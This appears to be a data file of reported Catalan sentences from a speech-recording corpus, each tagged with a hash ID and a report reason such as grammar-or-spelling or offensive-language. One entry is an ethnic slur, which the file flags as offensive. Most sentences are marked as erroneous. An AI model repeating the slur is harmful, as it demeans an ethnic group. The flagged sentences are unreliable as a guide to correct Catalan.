de la revolució” i això els ha descol·locat. 22fc55f3ef7e5e194236920044e2ff4490c02c95c492fdb20cd887a7cf2452b8 ca grammar-or-spelling Però això no ha de ser pas cap problema. 23a5453f78b88d4b99978e3dd13477cfd79544e2814400a0a810569e69301643 ca No es pot gravar la veu xq la icona està bloquejada. Ho hem provat amb dos mòbils Ni un pas enrere en defensa de la nostra escola! 2bb4fb3630747f7bf3596a7f35c7a35dfcbbcfd5efbc51b1e5fbf42610a27df3 ca grammar-or-spelling Nosaltres els hi vam dir que creessin altre espai, doncs. 2c74d213956f0ed5e5ea750cf65226688755d17f61b84d7cce95f4cd28b28994 ca grammar-or-spelling Don neix aquesta coneixença entre persones del nord i del sud? 309ecaa23c0349a68c382bffa8c5bc14d264ab89f7c813e15945f42c4e2a7532 ca grammar-or-spelling El trasllat de totes els afectats ha durat hores. 32acececf32957d60cb41c8fe9a1589e98f31f3316fa7319e091f964c1db0a30 ca grammar-or-spelling Andorra va sol·lictar l’ingrés el gener de dos mil vint. 31d78b2f0bffe975d45b7f084198d4915fd2d41b01494d612d3d6c71439dd0c7 ca grammar-or-spelling La jugada té un gran risc pe a Espanya. 32d983895e5ddf80bcb1c3c43521a02de2635079f9be2a398a59078a457a4690 ca grammar-or-spelling Pronostica que aquests anys vinent la seva influència creixerà. 342cd29087c8d1cf66ade347d7e4048868fe3bb32331bfc5597caa7e6dedc2f9 ca grammar-or-spelling Pronostica que aquests anys vinent la seva influència creixerà. 342cd29087c8d1cf66ade347d7e4048868fe3bb32331bfc5597caa7e6dedc2f9 ca grammar-or-spelling Ens esperen vint-i-quatre h fredes. 39a14a27e2b6ffbe8a52789d777fe39bd345472996361e17463d41ba1eb5bd82 ca grammar-or-spelling En tot cas, en una segona votació li seria suficient la majoris simple. 39e26e60bfcf4b38b78b16ae029015b4aa6d8b51a5de66302e1bab32436d8338 ca grammar-or-spelling Cada partida tindrà durarà dues hores, si fa no fa. 33a0dcac1d64f3ad7a754b95f100bff0935524763083a4fe68a3a42abc1dbc1b ca grammar-or-spelling I ha afegit: No estic disposat fer el que sigui per a ser president. 3a7b2f62e4dfd4a3ddf99e973debc1e3abe43adf45d1163145528b46bd4bd2dc ca grammar-or-spelling Va haver de desmuntar aquestes construccions tres vegades, perquè no es consideraven prou segures. 3c87a4852937cfb23d0c605f9e8cac6ba7683a304422882753a8030880a65a76 ca No sento res De moment Barcelona continua amb pressupostos prorrogats. 3caeda3c7e6dd9a2426601a7c107ff15e0a4bc5b7e719ba1390ca75a43c01764 ca No sento res I molts d’ells ho viuen així, i jo me n’alegro molt. 3c28d21445f5215706b89a5d04657997911c37de7678547799780a7a03a76cbd ca No ho sento El conductor del tren, ho ha vist, ha parat el tren. 3d972ec77d8756e92835e36e9c9f080018d26ce285e653b7fe8a5b5138865ef6 ca No ho sento Sense grans atraccions turístiques ni edificis monumentals, no apareix destacat al mapa. 3e0b20392712a765806ecc228373e51daac0a50ac35cc09542a007342d749323 ca No sento res. I en el tall anterior he validat per error una frase que no dèia el que hi havia escrit…i en el moment d’informar ja s’ha passat la pantalla Tots elles han estat acusats de desordres públics. 3dc07705e9f6466752f0b84fdfbccb75e11c84608316e357f2c4814bc48a68e8 ca grammar-or-spelling Sembla que els mots, també bisíl·labs, entès o d’acord han mort. 41ad115bb923a5273070aef8956f5251cc6161dda73822f9bd69abadcbdea37f ca grammar-or-spelling Podeu consultar tots els vols cancel·lats els podeu consultar ací. 45a7297dfe2d86f316eb4b4fe7d23408e7a17e991526ababb11ee26248366ca7 ca grammar-or-spelling Hi van participar mil set-cents cinquanta dones. 4f1ea44d4a87f5e0ee85806de63056cdd79c25b56a87491f31549a9588dfc2a3 ca grammar-or-spelling És l’hospital que fa més trasplantaments pulmonars a tot Espanya. 4e36ea7d9697c763e4baad814fc6eb56de5173cbf9fd89c6acaee35b8ddec476 ca grammar-or-spelling També es pot col·laborar amb ajuntaments i han sortit iniciatives interessants. 51957bff307d44110840157b2736b03f3a98504b426b37730b450db56ee9604e ca grammar-or-spelling Cada cop és més difícil contenir amb tallafocs aquests brots ha reflexionat. 502ca9beaee0a33f61863a0ba813e7aefbe0e25b8b3a93ec6a1cb5eb4c9e321a ca grammar-or-spelling També es pot col·laborar amb ajuntaments i han sortit iniciatives interessants. 51957bff307d44110840157b2736b03f3a98504b426b37730b450db56ee9604e ca grammar-or-spelling No obstat això, alguns periodistes del mitjà ja havien estat atacats en el passat. 537b4efd1dd2345fa3cf7c37e6337f4644d1c94c3f32211fb5ac8ac4f3214141 ca grammar-or-spelling O miro una pel·lícula i penso que els guionistes s’han equivocat. 59ce37e8e8d1b6999c5c8610a343ccbe009923e971fa4214af22bbfcb03bd9f6 ca grammar-or-spelling Fins quan haurem de mostrar els cartells de ‘Llibertat’ davant presons, espanyoles? 580fd2dd61fc6223fe0a503aee2ef7e65b15f7d368a141c61c233284b40b6802 ca grammar-or-spelling Una situació que ha dificultat al mobilitat dels veïns de la zona. 56971e90cdba19f3d0438a56a21b8ff3d16461bb00cc9a66297f5b29134bfae3 ca grammar-or-spelling Però clar, és possible que m’enganye. 535f2c74a061703ef29b5d676cd5a7f7b7c8e92c46580a4206fd3f587799bf48 ca different-language Des de la coalició reclamen prudència i respecte davant la investigació judicial. 59002c8e871defc3905893647c44e7a3d1aae9aed743b12930680d213a3b9245 ca grammar-or-spelling No a la violència dins de les relacions personals i l’exercida pels estats. 5a0da466ed65d61857a06ffe20c3911c51edac421ab41f389228058cca18a40c ca grammar-or-spelling Les flames van començar el diumenge al vespre. 53e908c54b701a548697b7fae5c67a0f103062c846191a297c6da22110ba6342 ca grammar-or-spelling Segons el president, aquesta restitució també seria una ‘retorn a la normalitat’. 5c99b5f578492c84ecb26ce9c2c4741bee0b27745edca9951b2494489df48665 ca grammar-or-spelling És aquesta la discussió política què esperem. 5c66b5cb4726840ef18cfd6ab7420ec57f3f1611d8e2756ce5020272c24bc4ca ca grammar-or-spelling Podeu veure imatges de prime dia en aquest àlbum de fotos. 5ae1073393a73be40c93b03786d84f89856ff89193bab9fa694f8b471aa6bc40 ca grammar-or-spelling Fins quan haurem de mostrar els cartells de ‘Llibertat’ davant presons, espanyoles? 580fd2dd61fc6223fe0a503aee2ef7e65b15f7d368a141c61c233284b40b6802 ca grammar-or-spelling No es desobediència civil, ha afegit. 5abaef0a362770907a6782ab7dfc347fd2044c38d8ea788254fab73a9c5c135d ca grammar-or-spelling En poques hores les hectàrees cremades van augmentar fins a més de vuit-cents. 56a7feb6fed6f0229b9758e3e1d4786938beb8ea56ea25be590b7c82d69da60a ca grammar-or-spelling Després emblanquiment els beneficis que obtenien a través de paradisos fiscals. 5db3b9da95b8885d1244fab78a1e6ea5f38e225915ab2cd1540ed1299511adcb ca grammar-or-spelling En relació amb la conjuntura econòmica, s’ha declarat ‘raonablement optimista’. 5c713325e62c05d273ff54c79870d9f095713d3be43a03d0cbe1792dc9d00208 ca grammar-or-spelling En acabar l’agost, la xifra de desocupats ha estat de quatre-cents vint-i-nou mil cinc-cents setanta-quatre persones. 5a016d875cf08065ac811482a22d1b40996aee2955128a2ba0d7a97d16d02be4 ca grammar-or-spelling Finalment, la mobilització d’ha dissolt. 4f2388ad15ca33287d2a72d43c84ef5e5d840dcd339e8a667b2f91f91f97cdd0 ca grammar-or-spelling Han cremat tres mil cinc-cents hectàrees, però es pot arribar a les vint mil. 5da8053d6e7f09d21b595801e382e3e41b002bcaf4ae727e8af8e30fa1b86bba ca grammar-or-spelling La campanya ha aconseguit cinc-cents adhesions en tres dies. 5e6accedaaf7ca91d6902b558e0e0c4d733e02143194299ce6e4112f517702fd ca grammar-or-spelling Quan podré visitar un familiar d’un altra regió sanitària? 5d0dca926eb58768df08b0981bc74ed8cf0cd5d86c6b4da062f645305c3c6c95 ca grammar-or-spelling Setanta-set per cent Em ratifico amb el que vaig dir el mes passat. 60ef6b501f0f0c78be2ccfa9fe0d317ce0bc1cc31002f84860e74cb4dc0d3005 ca grammar-or-spelling Vine aquí, moro de merda! 64976a897c8218677b1bd185706d29588457c4201e61577974f44c5cfef0de25 ca offensive-language Cent setanta-u entitats formen part del cens d’entitats de foment de la llengua catalana. 6681c2b4511a01c145f8f4ae8580d1c94adf20fea5ea23fc8cd73500541472d5 ca grammar-or-spelling Ja eres el primer del rànquing espanyol i europeu, i desè del mundial. 698c3297378b8410d0918f42c145fc908fc0aede064fb53653acc10fdf2fb9c2 ca Crec que hauria de dir i del europeu En l’estudi hi han participat quaranta mil persones. 66dc844be68e87d681561ea27436cbd177a9f0da643f44301603a6ee2d2468a2 ca grammar-or-spelling Quedava pendent el documents de la jubilació. 6c57abfde8a56fd8c81a418f6eb37797fbf5dbcb41d27e121f2eba43d9a62ace ca grammar-or-spelling Llegiu tot l’article ací. 6ca0caf08336461d254f4bc3669d68ce1e258d334cc996ffb53c630b954fc118 ca grammar-or-spelling Fins que em muira he de lluitar, ha dit. 6bd2f1bd104d952893b9f5cc88f3f2a47b3d77270d41941642b210168aa006dd ca grammar-or-spelling Les marxes de torxes s’utilitzaran en contra nostra i malmetran l’imatge internacional. 6c5f86f896fc2612fc7b92b9b350e4c79c8a360f35024b43946cee0b486916b6 ca grammar-or-spelling El delicte de narcotràfic comportar penes de deu a vint anys de presó. 6eeb02cc0b2a54bbac4cfebfc4631a36c57ba1aa3316bc2a22bcc70969c29302 ca grammar-or-spelling També s’hauran d’haver esgotat totes les prestacions possibles, coma ara l’atur. 6e6936c5e765d0dff4dcc7cfb8503391874ab6e31292af26a2c4ab7c664b2b96 ca grammar-or-spelling Però poc ha durat poc l’alegria a la casa del pobre. 75042215430c689c71ed63a505f4001a005c21cc92c6b0b3a2bea1d57ce9a4ae ca grammar-or-spelling En un primer moment la xifra que havien donar era de deu morts. 753c8e3eb2dcbac1470569dfd369d456cb23337570af3f41d7acb3cb0080b1ac ca grammar-or-spelling “Dubtem que qui no ha fet aquestes reformes pugui encapçalar” un procés reformista. 78060ae7f654ce782e000d3c3af11fee1c27371645148690b4f05954c0e0adef ca grammar-or-spelling Trenta-cinc mil sis-cents vint-i-set persones ja no són als registres dels serveis d’ocupació. 7867161562a8eeb752d6edb4540b1f8ff4173ca0bb7920b8bcf28697ea06f3e3 ca grammar-or-spelling On encara es manifesten és al centre de Barcelona, que està generant alguns col·lpases. 7971b7b9a8e79048c735f50b914a53eb110319b30132699b9be2fae819682900 ca grammar-or-spelling Si les denega, ‘quedaran suspesos tots les tràmits parlamentaris subsegüents’. 772d556c34f7e8380ccf124ab698e38d5e641bc571898ceba7a1129276e23de9 ca grammar-or-spelling En concret, cinc mil vuit-cents vuitanta persones han gaudit de diverses propostes de turisme. 78e04568e1451716516e0414305da7ee4d25b57b80ca33d2d35af84bee8df91d ca grammar-or-spelling Avui dia hi ha cinc-cents setanta-dues persones ingressades als hospitals valencians. 7f2d0d6733d780cc4bcad124803792c39f82e8f13850eb476a36e07dd6839801 ca grammar-or-spelling Pot dir-me el seu nom número de compte? 8016c53ece1beadefce4a0997c2162246611dae7a99e0e6c0ba65c00cd7c75fc ca grammar-or-spelling Se va una gran persona. 7fd38d552a53f7b3725438b0518608d648cb7046d703282fdd251da6ba0aad93 ca different-language Avui dia hi ha tres milions nou-cents quaranta-dos mil tres-cents cinquanta-sis dones víctimes, dada que supera la de víctimes masculines. 7f0381e3c295f383363926cb6d18dec514e488543f162bbac7ea715543115944 ca grammar-or-spelling Poc a poc anem fent la família més gran. 7fb20ab33e078d28c570d341b63a04d3ba7c08d71ddc3be5f60f8a3bc0867861 ca grammar-or-spelling I continuava: Quines ganes de sortir de llegir l’article de demà. 814ee8f97893ce8f83fadb10f973dcda6c573c43056ceee3b42f1feae3851177 ca grammar-or-spelling Es tracte d’un aparador que ofereix les novetats dels productes ecològics i sostenibles. 7f41ff78b22c7cc1a4bc6536cdcc754673c669116a075eda50e783218cfdf2da ca grammar-or-spelling És evident que, si anés així, les coses canviaren molt. 82ca4780f07149e7813637a8559d743027d2331c5f3dbad6889dafe1dd75ad1d ca grammar-or-spelling El pressupost està dotat en cent trenta-cinc mil euros. 7fee28a6ee507f97fd375e1a71bd868098f0d1079303c54e0e4f23c4f37a5a53 ca grammar-or-spelling També té interès en la història del pensament federal i el liberalisme del s. 801ce8410e9e0be010e4e1e7e130a5ecfd6f5b5790f19b22915979ca4d88c41d ca difficult-pronounce També té interès en la història del pensament federal i el liberalisme del s. 801ce8410e9e0be010e4e1e7e130a5ecfd6f5b5790f19b22915979ca4d88c41d ca grammar-or-spelling Com va a ser la disposició del solar? 85c3e987ad007202eac9ecc83f9703df08f0fabb95109b73b8170ddbdb8da875 ca grammar-or-spelling Davant d’això vull aclarir que he fet i que entén ell per “ensuciar”. 7fd98d54904252a44a866023944b20872411b3c9d4d55e1ef0fe0afeba96fa02 ca grammar-or-spelling En poques hores, el vídeo acumula més de tres mil quatre-cents visualitzacions. 85dad87973bdb03552a479e6d928babe67fff3883e985425eb6a39ce5b95f0cb ca grammar-or-spelling Si reincideixen, poden rebre una sanció més de sis-cents mil euros. 88366ee6a78d633842c018c146382fe409249f032d25608e1de74a4175b26460 ca grammar-or-spelling Un propietari mitjà pagava sis-cents set en dos mil vuit i ara paga tres-cents cinquanta euros. 8b3e85233d378863e69e2c157fbaeae4ecd03deaed7556f1a97f897728d6078f ca grammar-or-spelling Quaranta per cent El procés és una realitat i això és important. 8fdf6b281b4404504f34aab11fc9ed9f38c7c3d365eb092d4fbe9cfe1a129ac4 ca grammar-or-spelling La policia ha informat que ha detingut a dos sospitosos. 905fdf3b85e9e0664404a7f070b36d05042cf0f7a550b1b243c5a154d97d7587 ca grammar-or-spelling Durant tot el dia es faran activitats diverses relacionada amb els diables. 90dd269212b25efab41427b955bfb951c8d226e82a9ff84e9f72b127feea363e ca grammar-or-spelling Podeu escoltar i llegir el discurs que li ha valgut la persecució judicial ací. 8d049bd74c617b8624cd29e256e4e0a173eadd9d0fa6135b590a15e9e4e6368c ca offensive-language Podeu escoltar i llegir el discurs que li ha valgut la persecució judicial ací. 8d049bd74c617b8624cd29e256e4e0a173eadd9d0fa6135b590a15e9e4e6368c ca grammar-or-spelling Podeu escoltar i llegir el discurs que li ha valgut la persecució judicial ací. 8d049bd74c617b8624cd29e256e4e0a173eadd9d0fa6135b590a15e9e4e6368c ca difficult-pronounce Podeu escoltar i llegir el discurs que li ha valgut la persecució judicial ací. 8d049bd74c617b8624cd29e256e4e0a173eadd9d0fa6135b590a15e9e4e6368c ca different-language Podeu escoltar i llegir el discurs que li ha valgut la persecució judicial ací. 8d049bd74c617b8624cd29e256e4e0a173eadd9d0fa6135b590a15e9e4e6368c ca Common Voice cerimònies al creuar la línia equatorial Les eines de tercer parts permeten construir una varietat de polítiques de seguretat. 2c5a953ac68ce13da2ed562243bd9534713a64e70a258cfe6c9b10117514a0e7 ca grammar-or-spelling En déu anys, la seva cal·ligrafia i estil ja era comparable a un adult. 2c9305bfff2f3267eaa44e2dc33e71af203f93969147e4339c629835dc1b4a36 ca grammar-or-spelling Les eines de tercer parts permeten construir una varietat de polítiques de seguretat. 2c5a953ac68ce13da2ed562243bd9534713a64e70a258cfe6c9b10117514a0e7 ca grammar-or-spelling Andrew es nega, bastant contingut per estar enfadat amb Dave. 2c9f7408e92569e108535539e6792cff29751cf0950e1e06fee910b03fff6950 ca grammar-or-spelling Altres comportaments inclouen esgarrapar-se les orelles molt intensament, el que condueix al despreniment de bona part les mateixes. 2c980e6a40a2715e7af1b55b9c51d515290ac19818ea418d6f97603256b6520d ca grammar-or-spelling Pot diferir de la tesi-la visió de món implícita del text o autor. 2c0549779b72faa40531adf06660e69051cbd28354dac0d0024800bdc7c15e43 ca grammar-or-spelling Actualment és l'única organització llibertaria i propietària activa a Islàndia. 2c9f14f23b666c733385e06c544bf4870b12dbe7c68ed00c319a115008158462 ca grammar-or-spelling Reprodueix l'àlbum Prvi Poljubac de Hiroki Uchi a YouTube. 2cba17e4a65c6de57ee137c3f751c9a0bd561e34d7a3727b471779c24832467b ca different-language Apunta a l'agenda el número de la Ritaj Puñal: sis, cinquanta-sis, zero, set, zero, cinc, vuitanta-tres. 2ca63305cb03c64a8a242d178ecbaa9847aff68f7fe12f58ebe400106e8f6eee ca grammar-or-spelling Telefona al Abacuc Estevan. 2cd80ef938680bde3db223f843161f9a986a82191ddb6d70cc4ec989e2ec127a ca grammar-or-spelling Tenen la opció de tornar amb la grua o en taxi. 2cdd7006325f456d90b9b2c0015530828d27ea21e98236d904481a0e33f1b79e ca grammar-or-spelling Tenen la opció de tornar amb la grua o en taxi. 2cdd7006325f456d90b9b2c0015530828d27ea21e98236d904481a0e33f1b79e ca grammar-or-spelling "Astronomy"; "Astronomy" i "Great Chapters from the Book of Nature". 2d0a44afae3491a8d407f4113eaef3566d1e732d6f2d8bb7c02f0545cd553ccb ca different-language L'equip continuar fent servir Silver Cross Field com el seu recinte local. 2cf930538cdf8400770f9b5b02761551d42ccaa182ad4fa3203b687f870aca1f ca grammar-or-spelling «e-Le­gende», «i-Film», «o-Sprook» i «u-Prul». 2cf5939b3f381693dff8a5feb9363524fcaf67bbd003217824435c031cce0df4 ca different-language Què ajuden a construir les rajoles? 2d1f5fd7e57c2e8e82875d3a89d45d70dbe868136dd87d0f0200d31bd62d0a54 ca grammar-or-spelling Redwater està sota el districte escolar del comptat de Leake. 2cb07748c58fdf35a9c792e1548c1a07d51105d30ce799976fa4aea0da607a04 ca grammar-or-spelling Tremolava notablement, i la tenia la boca torta. 2d1580f99885ff4e399e49ecf5de579d5379293b5de0ea5ebd5981172e51f511 ca grammar-or-spelling Aquests gens troben en les síndromes de càncer hereditari autosòmic dominants. 2d7b1d28e1d71acb5f062ef7a5e2211cb23aa9a0e87ac98a9b519d76148792c5 ca grammar-or-spelling Es comercialitza fresc o congelat, tot i que n'hi ha informes d'intoxicacions per ciguatera. 2d6ee833af91d4e889a5fa3155404df93e8fb309e31bb9b8c1cc39413deb30fa ca grammar-or-spelling Dels The Warriors, Wallace va unir-se als Big Sound. 2dc97dc96bc4943770631272f4aecebda5bfb2f85d993edbca4993972994dab7 ca different-language Dels The Warriors, Wallace va unir-se als Big Sound. 2dc97dc96bc4943770631272f4aecebda5bfb2f85d993edbca4993972994dab7 ca different-language El següent pas lògic per esmorteir les seves finances era sotmetre a un llistat. 2df563a6b364e97a0903dbba821541930de7f2b396d1baefe07667cd99cfb40a ca grammar-or-spelling El nou d'octubre na Ramona i en Pep vaig a la Llagosta. 2e3f2c3b9cf72e60de4e538835f9af33bab453630246dfc0f8fdacac90ad5830 ca grammar-or-spelling El vint-i-nou de febrer en Maria irà a Selva. 2eac651f4ecda62121e8c560db5f54e1efdb338c64bd44431b5cb5c8bb1e23c3 ca grammar-or-spelling Quina és la millor manera d'anar de la passatge de Prunera al passatge de Ros? 2ea14ff9aa1363f8b74bdf4bfc5c1e07825a104c1fb5683b136343a1849ac027 ca grammar-or-spelling Els instruments basats en ressonàncies de plasmons superficials utilitzen la refractometria per mesurar i analitzar les interacciones biomoleculars. 2ec6600dbe5fcd24b3bf5ffc50695da58024858d78f57e1710e8b5460ce5dafe ca grammar-or-spelling Aquests platerets és una barreja de diversos embotits i llegums, i data de temps colonials. 2ed83d4c182b45969dd908d3957d9c2c9873c626dcc347a4952faaae80b47068 ca grammar-or-spelling Diversos forces navals han après aquesta lliçó. 2ef064ec476f109a04f6fff13725a7d9d2c50fb6ddc99fffbb4954ca1fe4d375 ca grammar-or-spelling Cinc persones en bicicleta pel mig del tràfic i un home que mira des d'una costat del carrer. 2ee334001e20a1eea878374a3f606c45f6aa05cb61c3ee46776984aa304ccecc ca grammar-or-spelling Costa de dues plantes i graner. 2ef08fce8fe26adbf06f165f432c3057fa54fc89de0df213861e9136111dcb11 ca grammar-or-spelling Que hi ha?? 2e8dd3cb1a2f978f34b780375ef9ca1034ba3e581820f326bd3637bc2f870af1 ca grammar-or-spelling El suburbi compte amb diversos parcs, la majoria dels quals incorporen instal·lacions de jocs. 2f51d415619584bfa0f98eb5dda8cb07dd4511de9c122f729125ec7885fd7281 ca grammar-or-spelling Es pot anar a Campanet amb cotxe? 2f52c72bf18d542dd4aaf1e9c3a96b2d8e3d59145a05d91c9c2f96c016fdeccb ca és més natural: Que s'hi pot anar en cotxe, a Campanet? Telescopi de l"observatori Wilson. 2f541e4f3a081f2c5f5a95e4d960086b21e89e033cd291f4646ffdf2190e200f ca grammar-or-spelling En comptes de passar la tarde en mig d'aquelles parets 2f483e7eaf342b406a02da7e64f70eed0abe938c4f0eaad337532ff13998f831 ca grammar-or-spelling El problema se soluciona mitjançant una llum auxiliar que il·lumini el motiu. 2f45f6a1c128bb46354f533b813bbdf8fe606b2b5dc0e7b6f87b6d1c467ec93a ca grammar-or-spelling La cançó va aconseguir arribar al número u en Bèlgica, Dinamarca, Irlanda i Noruega. 2f5bbaeffb8f4e51b731f43229ccd83b6e302fb9a653a4d8b9140a979fe6acad ca grammar-or-spelling En comptes de passar la tarde en mig d'aquelles parets 2f483e7eaf342b406a02da7e64f70eed0abe938c4f0eaad337532ff13998f831 ca grammar-or-spelling La cúpula, amb un diàmetre de, va ser una de les estructures de capa única més grans de la seva època. 2f6df1edbf156515ae2cb6f943f176f8b9f640d12fbb85bd76e245df7e502357 ca grammar-or-spelling Després de la seva mort, es van localitzar dibuixos d'índole religiosa en el seu apartament. 2f65eb626da962b1a417cb9b14fa12bccdfa649a0158c56950cec7741d9ac070 ca es van localitzar [...] al seu apartament Per Sant Jordi na Damià i en Garbí van a Bell-lloc d'Urgell. 2f6ad7cc62e0c15f22b87b0a631795262a206cb8fdacad8608c334120c3c2067 ca Damià és masculí: en Damià Els allosomes cromosomes sexuals, d'altra banda, tenen una forma diferent i per tant determinen el sexe. 2f7736e3266912e79a53f7559b3c26032414963d0ab929b30acf7928dc385c7f ca grammar-or-spelling Una dona es llença de cap des d'unes roques mentre una altra dona neda. 2f496ccd15435a7e373223fc7f45fedf7193a75eb8a3473f588eff0490b387d6 ca es llança Els eu club va perdre la categoria. 2f65bb1cbf7c36941c92c1ace8dde4f1e32b7a5f1d04cc36792eee561f557764 ca grammar-or-spelling Al volant del molí es va crear un poble per allotjar els seus treballadors- 2fc62232afaed91d1e77ec1a0d7adfdee9e1352adaa69a3c5c17d0f13070d85a ca grammar-or-spelling Un d'ells va ser l'estatúder-príncep Guillem V d'Orange-Nassau. 2fbf57aaf6069c763fe6212b4f5dbfb461eb76c4cfe009ddcbfa60f45a7f911f ca difficult-pronounce Efraïm ben Iehoixua en Balsum és un matemàtic jueu nascut a Girona. 2fc5d94a213bbd7a359fe99492bab978cd25de4e9539265b938d15330c6696a6 ca difficult-pronounce El nom l'hi ve de la roca que sobresurt al mig de l'estany. 2f9e688a1241b0897a9592336066bd062967f34e0e69b1c050d4370d19a43498 ca grammar-or-spelling Estem sota mínims i això pot anar a pitjor lamenten. 2fc3fb75760d0e69e48e2350db9e2a3ac91c487ca04d8c5a48360904f7152a9b ca grammar-or-spelling Els eu club va perdre la categoria. 2f65bb1cbf7c36941c92c1ace8dde4f1e32b7a5f1d04cc36792eee561f557764 ca grammar-or-spelling Hi havia una sota el seient del conductor de l'xB. 2ffe6e23e0ddba42b2b7171f26f3bd8d455df3e1aeff5d5a41e3fc94d0254c05 ca grammar-or-spelling Bagnor Manor és una casa de camp situada a pro del centre del poble. 300f379d3b1c57808c02531374952d96fb621a4d23343a3ec48e321e21cd407c ca grammar-or-spelling A continuació, cada equip juga contra l'altre un cop més després dividir els punts per la meitat. 30250c69b23dbc8e3afc0b6c33d78b65aa7b4de4fc2d8f1d24a87f6a0a332222 ca grammar-or-spelling La zona està greument amenaçat per la ràpida erosió de les dunes de sorra que la cobreixen. 3018d0e3ccb87fc85c0e51a9ce628c443c9401678f22d31364686055bce3eab4 ca grammar-or-spelling Desmentí també la versió sahrauí que Al-Aaiun estigués en estat de setge. 2ff284d64a75e700676b1158ef09de8b0cb1126f582dac4e5a1b0e6916df7464 ca difficult-pronounce "Tetrasynandra" and "Grazielanthus" estan integrades a "Steganthera" i "Mollinedia", respectivament. 30263a56ebaec75cb6cdec37f7fbf7d4291a77990ef8b9b1ffc95e1059769ed7 ca difficult-pronounce Hi havia una sota el seient del conductor de l'xB. 2ffe6e23e0ddba42b2b7171f26f3bd8d455df3e1aeff5d5a41e3fc94d0254c05 ca grammar-or-spelling I tant, quines condicions teniu el preu quin és? 30484b4f66d44a1904d2994b1e5999fff166a799eb3943571a84483aafc0de12 ca grammar-or-spelling A continuació, cada equip juga contra l'altre un cop més després dividir els punts per la meitat. 30250c69b23dbc8e3afc0b6c33d78b65aa7b4de4fc2d8f1d24a87f6a0a332222 ca grammar-or-spelling quina és la programació de pel·lícules al cinema Amusements Nacionals 304fe101cbb1853336f610c31cd22bbcbe904b1e2774dc888aa331f0a2de7411 ca grammar-or-spelling Originalment va ser construït el per ordres de l'abat Berenguer Arnau. 30bf1f640c37fd97c7b40af5f292d1f7acb0b5fe1103e1899f4fba2fb6a08133 ca grammar-or-spelling Fa cantonada amb el carrer de l'Avenir, en la qual tenia molta més longitud. 30bd77285e124bc6213113befcb5142b1bd0d9ba5fcb8d4a70727d034e06fbbc ca grammar-or-spelling El nou d'octubre na Fiona i na Neus iran a visitar mon oncle. 30c536adb588059fc5866243eb34d68e801db12ec364020ad3a7e43bcf4e57a1 ca grammar-or-spelling Whirlwind es posa a les ordres del malvat Comte Nefaria i s'uneix a la Lethal Legion. 30ef81c6209322661e6b055014035f54be097102181919cdb7266370fd536305 ca difficult-pronounce En aquest període els residents s'unien i creaven diverses organitzacions salvament. 3126931f9db2f3480e2865e2961f55e645facff580502ee9400e43a52f7ea019 ca grammar-or-spelling La gran riquesa de continguts de l'agència ha fet que portals com Yahoo! 3122a351ae260cd5d894368b86271e2795951a2e86ee9f382f4c33a169d6ef06 ca grammar-or-spelling Es ballava al voltant d’una barca per celebrar la bona persa. 30d2dbcbc3a4fa0b1a0a008ef473a1227a21e4c292726268b28da148438ee267 ca grammar-or-spelling Ella prefereix la car tendra dels pollastres joves per la seva ofrena de menjar ritual. 32074564f48aa54a0433530ef3ff7870b154d1da56ea80bbdd329395959ee578 ca grammar-or-spelling Vull anar a Sant Martí de Tous amb trasport públic. 324ed7820b3f1e11df9f485992f2602d5c450b1825bed49eef7d1f22544502b9 ca grammar-or-spelling Aquestes marques facials marques podrien tenir el seu origen a Egipte. 3248e7407b5c61412043dad34399cce430ff6f730b21d4ae24b618f2a8db4bb0 ca grammar-or-spelling Les fulles profundament lobulades del roure de les valls ajuda a la seva ràpida identificació. 322ec4f37857bbcbcfcd97f161b94a21427ba72816b64ebf86e84a75ce78c862 ca grammar-or-spelling El i el va tornar a ser ambaixador a Roma. 324471b128ef2e1ba8b6da3a4401da0b7d6ae0f45cf94a0dfc5544ca401de946 ca grammar-or-spelling Ella prefereix la car tendra dels pollastres joves per la seva ofrena de menjar ritual. 32074564f48aa54a0433530ef3ff7870b154d1da56ea80bbdd329395959ee578 ca grammar-or-spelling És propietat dels seus empleats i la seva seu social està registrada a Vancouver, Columbia Britànica. 3249e2d6087872585c97f38ffe6112988dc8688b79597e64b44082d5546797f4 ca different-language Uns homes amb barrets verds semblen assistir un festival de l'orgull gai. 3208c8a18e384fdc704ee81c10a6e31ee7f33b32e3c45495c22c48266e3923b3 ca grammar-or-spelling Per tots els costats hi ha gran vidrieres que permeten l'entrada de claror natural. 3273f29e847db5661252d53903d0c6e86fd15a63696226d1f20a3ba4f3a1b789 ca grammar-or-spelling L’Hospitalet de Llobregat i a Gavà també tenen carrers dedicats que porten el seu nom. 327b24046f5f07613bfe0b58718a9dd8254ed2974c751976bf69e0dd9382f739 ca grammar-or-spelling A aquí tornava a tenir la boca i el pit descomposts. 32bd90ad19880d22f08c2682c34e1df050d303f160cf92fda60e35f33291e58c ca grammar-or-spelling La jugada té un gran risc pe a Espanya. 32d983895e5ddf80bcb1c3c43521a02de2635079f9be2a398a59078a457a4690 ca grammar-or-spelling Ets un geni que! 32cebc69000a2954b9216f6dbdc95bd44c3e72a4e67ea31b55ddca49081c97c7 ca grammar-or-spelling Els seus ressenyes es publiquen en línia en dpexpert dot com.au. 32c7ef6ae541a7b43c2328ca918a76167eae51b2ad6ce89ba073f1c47197bba6 ca grammar-or-spelling Vegeu també: "Baraka" i "Barakah". 32fda02eaf01d849f941993dac7bc9862ae4d110463222fe11ea08e3e426d23a ca difficult-pronounce Professional, ha creat un programari que revolucionarà el món de la moda. 3343087c6466d75e02bedd7c75878c030534688fe5ad54afbb2d5602e22c2f1b ca grammar-or-spelling Un exemple de creença pot ser que el natural és inherentment bo. 334971c131c3585f8fdb94a77425567332179007801d31ba8eef69d803ef0fe8 ca grammar-or-spelling On s'ha ficat aquell noi anglès tan bell i trempat. 6f0ec9844269eda6866e9303a5f9741dc9b0a13bce0281a703c39b3d525c8012 ca grammar-or-spelling Dijous na Damià i en Josep aniran a Bellvís. 3361022d19c49da2c9adb9a49e45c3ee80974e6956675f38bbbf29f6d726b863 ca grammar-or-spelling Per Cap d'Any en Joel i na Laia iran a Morella. 3350be74642c9a6ca1f53458a0a509f88ee2be9d86dfcdee016966b2799706e8 ca grammar-or-spelling Abarca tota mena de creacions tècniques, tecnològiques i artístiques de la vida quotidiana. 33645f054096587f609f637cd2b630ff29541395f2562e59f9a7c459aca0a639 ca grammar-or-spelling En pacients immunocompromesos, el pronòstic és generalment pobre. 33398fe28403586f00c4cd4ca9785a36e75268312b729b9a9c603758531ad408 ca grammar-or-spelling Els que defensaven fer una campanya ‘crítica’ han obtingut un vint-i-quatre suports. 33aa155eb19da48ddb96325644ee6ad77a3912a0946583cf5201611577952ac3 ca grammar-or-spelling La parella va gaudir la navegació i de viure junts en una casa senzilla a Oxnard, 